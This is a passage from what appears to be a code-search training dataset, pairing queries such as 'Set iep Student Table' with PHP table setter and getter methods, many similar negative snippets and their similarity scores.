"0.46711046", "0.4665247", "0.46635678", "0.4662298", "0.4654101", "0.46482313", "0.46477014", "0.4645919", "0.46429864", "0.46427113", "0.4639479", "0.46376783", "0.46344635", "0.4632857", "0.46234095", "0.46163747", "0.4614302", "0.46134177", "0.46048686", "0.4604381", "0.45939988", "0.45854667", "0.45852894" ]
0.6980848
0
Set iep Student Table
public function setIepStudentTable($iepStudentTable) { $this->iepStudentTable = $iepStudentTable; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getIepStudentTable() {\n\t\treturn $this->iepStudentTable;\n\t}", "protected function setTable()\n {\n $class = explode('\\\\', get_called_class());\n $this->table = lcfirst(end($class)).'s';\n }", "private function setTable()\n {\n if (is_null($this->table)) {\n $this->table = $this->getTableName();\n }\n }", "protected function setTable() : void {\n\t\t$annotation = $this->annotationReader->getClassAnnotation($this->reflectionClass, 'Henri\\Framework\\Annotations\\Annotation\\DB');\n\t\tif ($annotation && isset($annotation->table)) {\n\t\t\t$this->tableName = $annotation->table;\n\t\t\t$this->tableNamePrefixed = $this->database->getPrefix() . $this->tableName;\n\t\t}\n\t}", "private function _set_table()\n\t{\n\t\t$dossier = $this->config->item('dossier');\n\t\tif($dossier === false)\n\t\t{\n\t\t\tlog_message('info', '\"Dossier\" params is not set');\n\t\t\treturn;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->_dossier = $dossier;\n\t\t\t$this->_table = $this->_dossier . '.' . $this->_table;\n\t\t}\n\t}", "public function setTable($table);", "abstract public function setTableName();", "function setTable($table) {\r\r\n\t\t$this->table = $table;\r\r\n\t}", "public function setTable(string $table);", "public function initTable(){\n\t\t\t\n\t\t}", "protected function _initsTable() {}", "public function setTable($tablename){\r\n$this->tablename=$tablename;\r\n}", "public function setTable( $table ) {\n\t\t$this->_table = $table;\n\t}", "protected function _setTable($table)\n\t{\n\t\t$this->_table = $table;\n\t}", "public function setTable($table)\r\n {\r\n $this->table = $table;\r\n $table_title = $this->titlecase($this->table->getName());\r\n if (!empty($this->id)) {\r\n $this->title = \"Edit $table_title record $this->id\";\r\n } else {\r\n $this->title = \"Create new $table_title record\";\r\n }\r\n }", "public function setTable($table)\n\t{\n\t\t$this->table = $table;\n\t}", "public function setTable($table)\n\t{\n\t\tdebugInfo(get_class($this).\"->setTable($table)\");\n\n\t\t$this->_table = $table;\n\t}", "public function setup_table() {\n /*\n * Table has 3 columns\n *| course | final grade | rank (optional) |\n */\n\n // setting up table headers\n $tablecolumns = array('studentname', 'activityname', 'failedgrade', 'gradetopass');\n $tableheaders = array($this->get_lang_string('studentname', 'gradereport_failed'),\n $this->get_lang_string('activityname','gradereport_failed'),\n $this->get_lang_string('finalgrade', 'gradereport_failed'),\n\t\t$this->get_lang_string('gradetopass', 'gradereport_failed'));\n\t\t\n $this->table = new flexible_table('grade-report-failed-10');\n\n $this->table->define_columns($tablecolumns);\n $this->table->define_headers($tableheaders);\n $this->table->define_baseurl($this->baseurl);\n\n $this->table->set_attribute('cellspacing', '0');\n $this->table->set_attribute('id', 'failed-grade');\n $this->table->set_attribute('class', 'boxaligncenter generaltable');\n\n $this->table->setup();\n }", "public function setCurrentTable($thisTable){\n User::setTable($thisTable);\n }", "function set_entity($ent){\n $this -> table = $ent;\n }", "private function setTableName()\n {\n // Get table name from name of entity if not defined\n if (!$this->tableName) {\n $path = explode('\\\\', get_class($entity));\n $this->tableName = strtolower(preg_replace('/([a-z])([A-Z])/', '$1_$2', array_pop($path))).'s';\n }\n\n // Set table to be used\n $this->adapter->setTable($this->tableName);\n }", "public function set_table($table = NULL)\n\t{\n\t\t$this->_table = $table;\n\t}", "public function setTable($table) {\n\n $this->table = is_array($table) ? $table : array(self::camelCaseToUnderscore((new \\ReflectionClass($this))->getShortName()) => $table);\n\n }", "public function setTable(Table $table): void\n {\n $this->table = $table;\n }", "public function initTables(): void\n {\n $table = TableRegistry::getTableLocator()->get('Qobo/Survey.Surveys');\n $this->Surveys = $table;\n\n $table = TableRegistry::getTableLocator()->get('Qobo/Survey.SurveyResults');\n $this->SurveyResults = $table;\n\n $table = TableRegistry::getTableLocator()->get('Qobo/Survey.SurveyEntries');\n $this->SurveyEntries = $table;\n\n $table = TableRegistry::getTableLocator()->get('Qobo/Survey.SurveyEntryQuestions');\n $this->SurveyEntryQuestions = $table;\n }", "public function getStudent(int $id, string $table);", "public function set_table_vars() {\n\t\tglobal $wpdb;\n\n\t\t$this->table = $wpdb->prefix . self::TABLE_NAME;\n\t\t$this->ms_table = $wpdb->base_prefix . self::MS_TABLE_NAME;\n\n\t\t/* Register the snippet table names with WordPress */\n\t\t$wpdb->snippets = $this->table;\n\t\t$wpdb->ms_snippets = $this->ms_table;\n\n\t\t$wpdb->tables[] = self::TABLE_NAME;\n\t\t$wpdb->ms_global_tables[] = self::MS_TABLE_NAME;\n\t}", "protected function startTable() {}", "public static function table($table)\n {\n }", "public function testSetEtblSiret() {\n\n $obj = new AttestationCacm();\n\n $obj->setEtblSiret(\"etblSiret\");\n $this->assertEquals(\"etblSiret\", $obj->getEtblSiret());\n }", "public function getSoinHospitalisationTable() {\n\t\tif (! $this->soinhospitalisationTable) {\n\t\t\t$sm = $this->getServiceLocator ();\n\t\t\t$this->soinhospitalisationTable = $sm->get ( 'Consultation\\Model\\SoinhospitalisationTable' );\n\t\t}\n\t\treturn $this->soinhospitalisationTable;\n\t}", "protected function _setupTableName()\n {\n parent::_setupTableName();\t\t\n\t\t $this->_name = $this->getTableName(USER_RSS); \n }", "private function createTables() {\n \n foreach($this->G->tableInfo as $table) {\n $this->tables[$table[\"title\"]] = new IdaTable($table[\"title\"]);\n } \n }", "public function setTable(Table $parent)\n {\n $this->parentTable = $parent;\n }", "public function setTableName($tableName){\n $this->tableName = $this->tableName;\n }", "public function tableWizard() {}", "function setTableName($tableName) {\n $this->tableName = $tableName;\n }", "public function setTableHead($tableHead)\n {\n $i = 0;\n foreach ($tableHead as $head) {\n $this->tableHead[$i] = $head;\n $i++;\n }\n $rows = $i;\n $this->setTableColumns($rows);\n\n }", "public function setTable(TableComponent $table)\n {\n $this->tables[$table->getName()] = $table;\n }", "private function getTableNames()\n {\n $this->tableNames = [\n 'eav_attribute' => $this->resource->getTableName('eav_attribute'),\n 'EnitureModules' => $this->resource->getTableName('EnitureModules'),\n ];\n }", "private function populateDummyTable() {}", "protected function tableModel()\n {\n }", "protected static function init()\n\t{\n\t\tif( static::$table === null )\n\t\t{\n\t\t\t// set the table name by Model name\n\t\t\t// Ex: UserModel -> users\n\t\t\tstatic::$table = strtolower( preg_replace('/Model$/', '', get_called_class()) ) . \"s\";\n\t\t}\n\t}", "abstract protected function getTable();", "public function set_table($table_name = '') {\n $this->table = $table_name;\n }", "protected abstract function createTestTable();", "public function __construct()\n {\n parent::__construct();\n $this->table = 'exam_readinesses';\n }", "public function initTable($stable=null, $aColumns=null, $sIndexColumn=null)\n {\n $this->aColumns = $aColumns;\n $this->sIndexColumn = $sIndexColumn;\n $this->sTable =$stable;\n }", "public function setTableNames() {\n $caseFormat = $this->settingsAll['Model'][self::$meta_model]['tablecaseformat'];\n $aliasFormat = $this->settingsAll['Model'][self::$meta_model]['tablealiasformat'];\n foreach ($this->settingsAll as $k => $v) {\n # do not process __meta\n if (in_array($k, array(self::$meta))) {\n continue;\n }\n $tableName = $this->getRealTableName($caseFormat, $k);\n # settingsAll.k.this->meta.tablename\n # - genTable responsible for having tableName set\n $custom_set = null;\n if (isset($this->settingsAll[$k][self::$meta]['tablename'])) {\n $custom_set = $this->settingsAll[$k][self::$meta]['tablename'];\n }\n $this->log(\"setTableNames / style: {$caseFormat} / k: {$k} / tableName: {$tableName} / custom-set: \" . $custom_set);\n # set correct tablename as defined in schema, but do not override individual defaults\n if (!isset($this->settingsAll[$k][self::$meta]['tablename'])) {\n $this->settingsAll[$k][self::$meta]['tablename'] = $tableName;\n }\n # ALIAS\n $this->settingsAll[$k][self::$meta]['alias'] = $this->getTableAlias($aliasFormat, $k);\n }\n }", "public function __construct()\n {\n $this->currentId = Piwik_DataTable_Manager::getInstance()->addTable($this);\n }", "public function setWithTable( $tableName )\n {\n // Prueba para no resetear el WT desde una superclase.\n // http://code.google.com/p/yupp/issues/detail?id=19\n if (!isset($this->withTable)) $this->withTable = $tableName;\n }", "function swap_table($table) {\r\n if( empty($this->_table_org) ) $this->_table_org = $this->_table;\r\n $this->_table = $table;\r\n }", "public function setInstructorAndAdminName()\n {\n // Add medal stamp image.\n $this->Image('C:\\xampp\\htdocs\\Nexus\\resource\\img\\fpdf\\medal-stamp.png', 121, 162, 40, 40);\n\n // Set the font.\n $this->AddFont('BebasNeue-Regular', '', 'BebasNeue-Regular.php');\n $this->SetFont('BebasNeue-Regular', '', 18);\n\n // Line break.\n $this->Ln(26);\n\n $this->SetLeftMargin(17);\n\n $this->Cell(90, 30, $this->aAdminDetails['instructorName'], 0, 0, 'C');\n $this->Cell(224, 30, $this->aAdminDetails['adminName'], 0, 0, 'C');\n\n // Line break.\n $this->Ln(1);\n\n $this->Cell(90, 30, '____________________________________', 0, 0, 'C');\n $this->Cell(223, 30, '____________________________________', 0, 0, 'C');\n\n $this->AddFont('Calibri', '', 'Calibri.php');\n $this->SetFont('Calibri', '', 12);\n\n // Line break.\n $this->Ln(23);\n \n // Set the font.\n $this->Cell(87, 0, 'Instructor', 0, 0, 'C');\n $this->Cell(232, 0, 'Administrator', 0, 0, 'C');\n }", "abstract public function getTable();", "abstract public function getTable();", "private function createDummyTable() {}", "public static function GetTableName() {\n\t\t\treturn \"person\";\n\t\t}", "function set_table(){\n $this->table = 'network_posts';\n }", "private function tbl_estados() {\r\n\t\t\t$this->estados = $this->esquema->createTable('ESTADOS');\r\n\t\t\t$this->estados->addColumn('ID', 'bigint', array(\r\n\t\t\t\t'notnull' => true,\r\n\t\t\t\t'autoincrement' => true, \r\n\t\t\t\t'length' => 20,\r\n\t\t\t\t'comment' => 'ID del Estado'\r\n\t\t\t));\r\n\t\t\t$this->estados->addColumn('NOMBRE', 'string', array(\r\n\t\t\t\t'notnull' => true, \r\n\t\t\t\t'length' => 255,\r\n\t\t\t\t'comment' => 'Nombre del Estado'\r\n\t\t\t));\r\n\t\t\t$this->estados->setPrimaryKey(array('ID'));\r\n\t\t}", "public function setTableName($tableName){\n // do nothing!\n }", "protected function setTablePrefix()\n {\n }", "public function __construct() {\r\n parent::__construct();\r\n parent::set_tabel('jadwal', 'kd_jadwal');\r\n }", "public static function getTableName()\n {\n return 'b_sotbit_seometa_section_chpu';\n }", "public function init() {\n\t\tnew Cpt_Student();\n\t}", "private function _fetch_table()\n {\n if (!isset($this->table))\n {\n $this->table = $this->_get_table_name(get_class($this));\n }\n }", "public function getTable()\r\n {\r\n }", "private function prepareTables() {}", "public function __construct($table)\n {\n $this->table=$table;\n }", "public function setTableName($tableName)\n {\n $this->tableName = $tableName;\n }", "public function setTable($tableName)\n {\n // Set initial configuration for Model\n $Model = new Model();\n $Model = $Model->build($tableName);\n if ($Model) {\n // Set Model\n $this->setModel($Model);\n }\n }", "public function __construct($table) {\n if(strcmp($table, \"user\") == 0){\n $this->_dbTable = new Application_Model_DbTable_User();\n }\n else{\n $this->_dbTable = new Application_Model_DbTable_Organization();\n }\n \n }", "private function myTables(){\n }", "public function getTable();", "public function getTable();", "public function getTable();", "public function getTable();", "public function getTable();", "public function getTable();", "public function getTable();", "public function makeTableur()\n {\n return $this->setDocumentPropertiesWithMetas(new Spreadsheet());\n }", "public function table($table);", "public function table($table);", "public function __construct($table)\n {\n $this->table = $table;\n }", "abstract public function openTableHead();", "protected static function setClassAndTable()\n {\n parent::setCustomClassAndTable(\"Announcement\", \"post_announcements\");\n }", "public function testSetInitTable() {\n\n $obj = new ParamEtiquettes();\n\n $obj->setInitTable(\"initTable\");\n $this->assertEquals(\"initTable\", $obj->getInitTable());\n }", "public function initialize()\n {\n $this->setSchema(\"dia_sin_iva\");\n $this->setSource(\"terceros_descuentos_sin_impuestos\");\n $this->belongsTo('cod_descuento_sin_impuesto', 'App\\Models\\DescuentosSinImpuestos', 'cod', ['alias' => 'DescuentosSinImpuestos']);\n $this->belongsTo('cod_producto', 'App\\Models\\Productos', 'cod', ['alias' => 'Productos']);\n }", "public function setSourceTable($table, $year = '', $month = '')\n {\n $this->source_table = $table . $year . $month;\n }", "function afterCreateTable(){\n $aData = array(\n array( \"Intranet\", \"INTR\", 1 ),\n array( \"Document Management\", \"DOCU\" ),\n array( \"Email\", \"EMAI\" ),\n array( \"General\", \"GENE\" )\n );\n \n foreach( $aData as $row ){\n $this->id = 0;\n $this->aFields[\"name\"]->value = $row[0];\n $this->aFields[\"code\"]->value = $row[1];\n \n // Default option\n if( array_key_exists( 2, $row ) ) $this->aFields[\"is_default\"]->value = $row[2];\n else $this->aFields[\"is_default\"]->value = 0;\n \n $this->save();\n }\n \n // Make everything point to the default\n $sql = \"SELECT id FROM issue_system WHERE is_default = 1\";\n $db = new DB();\n $db->query( $sql );\n $row = $db->fetchRow();\n $sql = \"UPDATE issue SET issue_system_id = \".$row[\"id\"];\n $db->query( $sql );\n \n }", "public function setUserTableName($tableName) {\n $tableName = preg_replace(\"/[^A-Za-z0-9]/\", '', $tableName);\n $this->_dbTable=$tableName;\n }", "protected function startTable(PHPUnit_Extensions_Database_DataSet_ITable $table)\n {\n if ($table->getRowCount() == 0) {\n fwrite($this->fh, \"\\t<{$table->getTableMetaData()->getTableName()} />\\n\");\n }\n }", "function getTableNames() {\n return [\"users\" => [], \"universities\" => [\"programs\", \"scholarships\", \"costs\"], \"students\" => []];\n}", "public function getTable();", "private function _fetch_table()\n {\n if ($this->_table == NULL)\n {\n $this->_table = plural(preg_replace('/(_m|_model)?$/', '', strtolower(get_class($this))));\n }\n }", "public function __construct()\n {\n parent::__construct();\n\n $this->setTable(Auth::table('socialite-providers', 'socialite_providers'));\n }", "public function table($table){\n\t\t$this->table = $table;\n\t\treturn $this;\n\t}", "final public function setTableName($name)\n\t\t{\n\t\t\t$this->_tableName = $name;\n\t\t}", "public function setTable($table = \"\"){\n\t\t\tif(is_array($table)){\n\t\t\t\t$table = implode(\", \", $table);\n\t\t\t}elseif(is_string($table)){//if a string is passed use that (default is \"\")\n\t\t\t\tif(strlen($table) < 1){//if empty string load the expected table name\n\t\t\t\t\t$table = strtolower(substr($this->class, 0, 1). substr($this->class, 1)).\"s\";\n\t\t\t\t}\n\t\t\t}else{\n\t\t\t\tthrow new Exception(\"QueryBuilder: table name must be a string or an array of strings\", 1);\n\t\t\t}\n\n\t\t\t$this->table = $table;\n\t\t\treturn $this;\n\t\t}", "public function table($strTable) {\r\n $this->sqlTables[] = $strTable;\r\n return $this;\r\n }", "function initialize () {\n $this->set_openingtag ( \"<TABLE[attributes]>\" );\n\t$this->set_closingtag ( \"</TABLE>\" );\n }" ]
[ "0.7341184", "0.6803989", "0.6576464", "0.64148176", "0.6394424", "0.639085", "0.6376296", "0.6376162", "0.63231975", "0.6306898", "0.6108046", "0.6101952", "0.60996073", "0.6082877", "0.6072632", "0.604061", "0.59972286", "0.5961035", "0.59591496", "0.59242123", "0.5910228", "0.58784103", "0.5877722", "0.58675814", "0.5867025", "0.58018327", "0.57991606", "0.57981795", "0.57680386", "0.5763082", "0.5758227", "0.5731064", "0.56942075", "0.5623602", "0.5608712", "0.55981004", "0.55930674", "0.5590616", "0.5585327", "0.55442727", "0.55395424", "0.5538885", "0.5535686", "0.55349064", "0.5527485", "0.5505121", "0.5497577", "0.54778266", "0.5469233", "0.5462438", "0.5454294", "0.54516906", "0.54238564", "0.54213554", "0.54213554", "0.5421217", "0.5394593", "0.5389959", "0.5389281", "0.5381256", "0.53602004", "0.5359888", "0.5352228", "0.53503245", "0.53326887", "0.5331563", "0.5324864", "0.5323213", "0.53201777", "0.5309303", "0.5298073", "0.52972466", "0.5295254", "0.5295254", "0.5295254", "0.5295254", "0.5295254", "0.5295254", "0.5295254", "0.5293475", "0.52905315", "0.52905315", "0.52896994", "0.5284453", "0.5271894", "0.5270583", "0.5267131", "0.5266661", "0.52615666", "0.524314", "0.52380425", "0.5236599", "0.52306855", "0.5230606", "0.52296084", "0.5222147", "0.52215207", "0.5221425", "0.52172565", "0.5214543" ]
0.7504839
0
get Iep Student Table
public function getIepStudentTable() { return $this->iepStudentTable; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getStudent(int $id, string $table);", "public function getSoinHospitalisationTable() {\n\t\tif (! $this->soinhospitalisationTable) {\n\t\t\t$sm = $this->getServiceLocator ();\n\t\t\t$this->soinhospitalisationTable = $sm->get ( 'Consultation\\Model\\SoinhospitalisationTable' );\n\t\t}\n\t\treturn $this->soinhospitalisationTable;\n\t}", "public function setIepStudentTable($iepStudentTable) {\n\t\t$this->iepStudentTable = $iepStudentTable;\n\t}", "public function getTable();", "public function getTable();", "public function getTable();", "public function getTable();", "public function getTable();", "public function getTable();", "public function getTable();", "public function getTable();", "private function get_exercise_table ()\r\n {\r\n \tif (!isset($this->exercise_table))\r\n \t{\r\n\t \t$course_info = Database :: get_course_info($this->get_course_code());\r\n\t\t\t$database_name = $course_info['db_name'];\r\n\t\t\t$this->exercise_table = Database :: get_course_table(TABLE_QUIZ_TEST, $database_name);\r\n \t}\r\n \t\treturn $this->exercise_table;\r\n }", "public function getAllStudent(){\n\n\t\treturn array(\n\t\t\t\"1\"=> new Entity_Student(1,\"pham van thao\",23,\"tlu\"),\n\t\t\t\"2\"=> new Entity_Student(2,\"pham van phen\",24,\"tlu\"),\n\t\t\t\"3\"=> new Entity_Student(3,\"pham van to\",25\"tlu\"),\n\t\t\t\"4\"=> new Entity_Student(4,\"pham van\",26,\"tlu\"),\n\n\t\t);\n\t}", "private function getStudent(){\n\t\t$spathSQLSelect = $this->GLOBALS_INI[\"PATHS\"][\"PATH_HOME\"] . $this->GLOBALS_INI[\"PATHS\"][\"PATH_MODEL\"] . \"select_stagiaire.sql\";\n\n\t\t$this->result[\"liste_stagiaire\"] = $this->obj_bdd->getSelectDatas(\n\t\t\t$spathSQLSelect,\n\t\t\tarray(\n\t\t\t\t'id_session' => $this->id_session\n\t\t\t\t),\n\t\t\t\t0\n\t\t);\n\t\t$spathSQLSelect = $this->GLOBALS_INI[\"PATHS\"][\"PATH_HOME\"] . $this->GLOBALS_INI[\"PATHS\"][\"PATH_MODEL\"] . \"select_stagiaire_techno_carousel.sql\";\n\n\t\t$this->result[\"liste_techno\"] = $this->obj_bdd->getSelectDatas(\n\t\t\t$spathSQLSelect,\n\t\t\tarray(\n\t\t\t\t'id_session' => $this->id_session\n\t\t\t\t),\n\t\t\t\t0\n\t\t);\n\t\t$spathSQLSelect = $this->GLOBALS_INI[\"PATHS\"][\"PATH_HOME\"] . $this->GLOBALS_INI[\"PATHS\"][\"PATH_MODEL\"] . \"select_stagiaire_rs.sql\";\n\n\t\t$this->result[\"liste_rs\"] = $this->obj_bdd->getSelectDatas(\n\t\t\t$spathSQLSelect,\n\t\t\tarray(\n\t\t\t\t'id_session' => $this->id_session\n\t\t\t\t),\n\t\t\t\t0\n\t\t);\n\t\t$spathSQLSelect = $this->GLOBALS_INI[\"PATHS\"][\"PATH_HOME\"] . $this->GLOBALS_INI[\"PATHS\"][\"PATH_MODEL\"] . \"select_stagiaire_doc.sql\";\n\n\t\t$this->result[\"liste_doc\"] = $this->obj_bdd->getSelectDatas(\n\t\t\t$spathSQLSelect,\n\t\t\tarray(\n\t\t\t\t'id_session' => $this->id_session\n\t\t\t\t),\n\t\t\t\t0\n\t\t);\n\t}", "function getTableNames() {\n return [\"users\" => [], \"universities\" => [\"programs\", \"scholarships\", \"costs\"], \"students\" => []];\n}", "public function getStudentInfo() {\n try {\n $this->dbh->query('SELECT * FROM student_info');\n $students = $this->dbh->resultSet();\n return $students;\n } catch(PDOException $e) {\n $this->response = [\n \"status\"=> \"error\",\n \"message\" => \"Unable to fetch all student details. Please contact the admin\"\n ];\n return $this->response;\n }\n\n }", "abstract public function getTable();", "abstract public function getTable();", "abstract protected function getTable();", "public static function getTable();", "public static function get_table() {\n\t\treturn 'antibiotics_and_how_to_use_them';\n\t}", "public function getStudent(){\n\t\t$this->load->model('School_model');\n\t\t$this->School_model->getSchoolAll();\n\t}", "function sqlStudentAll()\n\t{\n\t\t//echo '<hr>Nama class ini :' . __METHOD__ . '()<hr>';\n\t\t$sql = \"SELECT student_name,student_roll_number,student_dob,student_grade_id,student_id\"\n\t\t. \" FROM tbl_student INNER JOIN tbl_grade \"\n\t\t. \" ON tbl_grade.grade_id = tbl_student.student_grade_id \"\n\t\t. \"\";\n\n\t\treturn $sql;\n\t}", "public function getTable()\r\n {\r\n }", "public function getTable() {}", "public function getTable() {}", "public function getTable() {}", "public static function GetTableName() {\n\t\t\treturn \"person\";\n\t\t}", "public static function getTable() {}", "public static function getTable() {}", "public static function getTable() {}", "public static function getTable() {}", "public static function getTable() {}", "public static function getTable() {}", "public static function getTable() {}", "public function get_data()\n\t\t{\n\t\t\tglobal $conn;\n\t\t\ttry{\n\t\t\t\n\t\t\t\t// connect to MySQL and select a database\n\t\t\t\t$students = array();\n\t\t\t\t\n\t\t\t\t$result = $this->conn->query(\"SELECT * FROM `students`\");\n\t\t\t\t\n\t\t\t\tforeach($result as $row)\n\t\t\t\t{\n\t\t\t\t\t$students[] = $this->create_student($row);\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\treturn $students;\n\t\t\t}\n\t\t\tcatch(Exception $e){\n\t\t\t\techo $e->getMessage();\n\t\t\t\texit();\n\t\t\t}\n\t\t}", "abstract public function getTables();", "public function getStudent()\r\n {\r\n $sql=\"SELECT * FROM users WHERE role_id=2\";\r\n $query=$this->db->query($sql);\r\n return $query->result_array();\r\n }", "public static function getStudents() {\n\t\t$idm = PSU::get('idmobject');\n\n\t\t$search = array(\n\t\t\tarray('pa.attribute' => 'els_student'),\n\t\t\tarray('pa.type_id' => '2')\n\t\t);\n\n\t\t$return = 'i.pid,i.psu_id,i.username,i.first_name,i.last_name,l.start_date,l.end_date';\n\n\t\t$students = $idm->getUsersByAttribute( $search, 'AND', $return );\n\n\t\tarray_walk( $students, array('ELS', 'dates2timestamp') );\n\t\tarray_walk( $students, array('ELS', 'load_psuperson') );\n\t\t\n\t\tusort( $students, array('ELS', 'student_sort') );\n\n\t\treturn $students;\n\t}", "public static function getTableName()\n {\n return 'b_sotbit_seometa_section_chpu';\n }", "public function getTable() { return( $this->_table ); }", "public function get_students_list(){\n return $this->n->get_list_from_db();\n }", "public function getTables();", "public function getTables();", "public function getTables();", "public function getTable(): Table;", "abstract public function getTableName();", "abstract public function getTableName();", "abstract public function getTableName();", "abstract public static function getTableName();", "abstract public static function getTableName();", "public function return_table()\n {\n $table = \"sub_classes\";\n return $table;\n }", "public function getTableName() {}", "public function getTableName() {}", "public function getTableInformation() {}", "public function &getTables();", "public function get_table()\n {\n $this->process_frequency_table();\n return $this->table;\n }", "public function getTableData()\n\t{\n\t}", "abstract protected function getTableName();", "abstract protected function getTableName();", "public function getAllStudents() {\n try {\n if(BaseController::isLoggedIn() && BaseController::isTeacher()) { \n $user = new UserModel();\n $user->id = BaseController::getUserId();\n $user_data = $user->getUserDataById();\n \n $student = new StudentModel();\n $students = $student->getAllStudents();\n \n $model = array(\n 'user_data' => $user_data,\n 'students' => $students\n );\n BaseController::display(self::$controller . '/students.php', $model);\n } else {\n BaseController::load('user/login.php', array('error_description' => 'Изисква се регистрация.'));\n }\n } catch (Exception $e) {\n BaseController::load('error.php');\n }\n }", "public function getTableName();", "public function getTableName();", "function getTableName(): string;", "public static function getTables() {\n }", "public function getTableName() ;", "public function getTable()\n {\n\n }", "public function get_session_wise_student() {\n\t\t$checker = array(\n\t\t\t'session' => $this->active_session,\n\t\t\t'school_id' => $this->school_id\n\t\t);\n\t\treturn $this->db->get_where('enrols', $checker);\n\t}", "protected function _readTable() {}", "protected function _readTable() {}", "public function return_table()\n {\n $table = \"classes\";\n return $table;\n }", "function preInterimInformation( $StudentID ) {\r\n\t\t$query = \"SELECT FIRST_NAME, MIDDLE_NAME, LAST_NAME, WOOSTER_EMAIL, CLASS_YEAR FROM X_PNSY_STUDENT WHERE ID='\".$StudentID.\"'\";\r\n\t\t$result = mysql_fetch_assoc(mysql_query($query));\r\n\t\t\r\n\t\treturn $result;\r\n\t}", "public function getT_Academic(){\n\t\t\t \t$sql=\"select * from academic\";\n\t\t\t \t$this->openDB();\n\t\t\t \t$this->prepareQuery($sql);\n\t\t\t \t$result=$this->executeQuery();\n\t\t\t \t\n\t\t\t \treturn $result;\n\t\t\t\t}", "function getTable($queryString){\n $query = mysqli_query($this->con, $queryString);\n $num_rows = mysqli_num_rows($query);\n if ($num_rows) {\n while($row = mysqli_fetch_array($query)) {\n echo \"<tr>\";\n echo \"<td>\" . $row[\"studentid\"] . \"</td>\"\n . \"<td>\" . $row[\"course\"] . \"</td>\"\n . \"<td>\" . $row[\"firstname\"] . \"</td>\"\n . \"<td>\" . $row[\"middlename\"] . \"</td>\"\n . \"<td>\" . $row[\"lastname\"] . \"</td>\"\n . \"<td>\" . $row[\"gender\"] . \"</td>\";\n echo \"<td class='td-buttons'>\";\n echo \"<a href='index.php?edit=\".$row['studentid'].\"'>Edit</a>\";\n echo \"<a href='index.php?delete=\".$row['studentid'].\"'>Delete</a>\";\n echo \"</td>\";\n echo \"</tr>\";\n }\n echo \"<span class='message message-blue'>$num_rows record(s) found</span>\";\n } else {\n echo \"<span class='message message-red'>No record found</span>\";\n }\n }", "public function getTable() { return $this->table->getTable(); }", "public function getStudent($id, $table = \"csm\") {\n if(!is_int($id)) {\n //env.php Student id must be unsigend integer\n throw new Exception(\"2:\"._ERROR_[2]);\n }\n $query = \"SELECT * FROM \".$table.\" WHERE id = ?\";\n if($stmt = $this->mysqli->prepare($query)) {\n $stmt->bind_param(\"d\", $id);\n $stmt->execute();\n if($result = $stmt->get_result()){\n $student = $result->fetch_array(MYSQLI_ASSOC);\n $result->free();\n return $student;\n } else {\n return false;\n }\n } else {\n //env.php Invalid query statement\n throw new Exception(\"3:\"._ERROR_[3]);\n }\n }", "public function view(){\n $sql = \"SELECT t1.*, t2.name as subject_name FROM students t1 INNER JOIN subjects t2 ON\n t1.id_subjects = t2.id WHERE t1.id = '{$this->id}' \";\n\n $response = $this->con->getDataSQL($sql);\n\n $row = $response->fetch_assoc();\n return $row;\n }", "public static function tableName(): string;", "public function getTable()\r\n {\r\n if($this->_table === null){\r\n $this->_table = new SampleTable();\r\n }\r\n return $this->_table;\r\n }", "protected static function getTable()\n {\n if (static::$TABLE === null) {\n throw new NotImplementedException(_s('Missing table definition in Model ').get_called_class());\n }\n\n return static::$TABLE;\n }", "function getItemTableName() ;", "private function _fetch_table()\n {\n if (!isset($this->table))\n {\n $this->table = $this->_get_table_name(get_class($this));\n }\n }", "public function getdatastudent() {\n $this->db->select('id_st,name_st,lastname_st,major');\n $this->db->order_by(\"id_st\", \"DESC\");\n $query = $this->db->get('student');\n return $query->result_array();\n }", "private function getTable()\n\t{\n\t\treturn $this->_table;\n\t}", "function gettable()\r\n { $this->db->where(\"application_id='3LGB6U2'\");\r\n\t $query=$this->db->get('vehicleno_imei_mapping');\r\n\t return $query->result(); \r\n }", "public function index()\n {\n return DB::select(\"select * from Student\");\n }", "public function getStudyTablesList() {\n return $this->_get(3);\n }", "public function index()\n {\n return $this->getTable();\n }", "public function getTableNames();", "abstract public function tableName();", "abstract public function tableName();", "abstract function tableName();", "public function getStudents($univid) { //$univid is formal Argument\r\n\t\t//2. Build The Query\r\n\t\t\r\n $this->db->select('student_name,stu_enroll_no')->from('students');\r\n \r\n $this->db->where('university_id', $univid);\r\n \r\n\t\t//3. Execute the query\r\n $query = $this->db->get();\r\n\t\t\r\n\t\t//4. Return the result\r\n return $query->result_array(); \r\n }", "protected function table () : string {\n return $this->guessName();\n }", "public function getTable()\n {\n return $this->table;\n }", "public function getTable()\n {\n return $this->table;\n }", "public function getTable()\n {\n return $this->table;\n }", "public function getTable()\n {\n return $this->table;\n }", "public function getTable()\n {\n return $this->table;\n }", "public function getTable()\n {\n return $this->table;\n }" ]
[ "0.6768622", "0.64971596", "0.6475363", "0.64135695", "0.6371414", "0.6371414", "0.6371414", "0.6371414", "0.6371414", "0.6371414", "0.6371414", "0.63609564", "0.63031656", "0.62813216", "0.62593216", "0.62446684", "0.62350774", "0.62350774", "0.6219241", "0.61945415", "0.6152047", "0.6071433", "0.59864575", "0.59850615", "0.59824467", "0.59821266", "0.598091", "0.59687084", "0.5960435", "0.5960435", "0.5960435", "0.5960435", "0.5960435", "0.5960435", "0.59588957", "0.59033513", "0.58618015", "0.58606285", "0.5855362", "0.58458054", "0.5844011", "0.5834104", "0.5828439", "0.5828439", "0.5828439", "0.58255774", "0.5824569", "0.5824569", "0.5824569", "0.58027256", "0.58027256", "0.5789018", "0.57845956", "0.57845956", "0.5783666", "0.57835203", "0.57675004", "0.5766712", "0.5752875", "0.5752875", "0.5743613", "0.5741548", "0.5741548", "0.5740608", "0.57400316", "0.5730908", "0.5726876", "0.57164663", "0.57027453", "0.5701892", "0.5678081", "0.567403", "0.5672533", "0.56486976", "0.56450313", "0.56402916", "0.56355107", "0.56205124", "0.5614515", "0.5604271", "0.5603177", "0.56028974", "0.5596959", "0.5582417", "0.5574832", "0.5567318", "0.55641216", "0.55538726", "0.55491686", "0.5546311", "0.5546311", "0.55372244", "0.5535602", "0.5533807", "0.5529652", "0.5529652", "0.5529652", "0.5529652", "0.5529652", "0.5529652" ]
0.8448977
0
Replaced the resource of the thumbnail with a new resource object containing the optimized image delivered by Kraken.
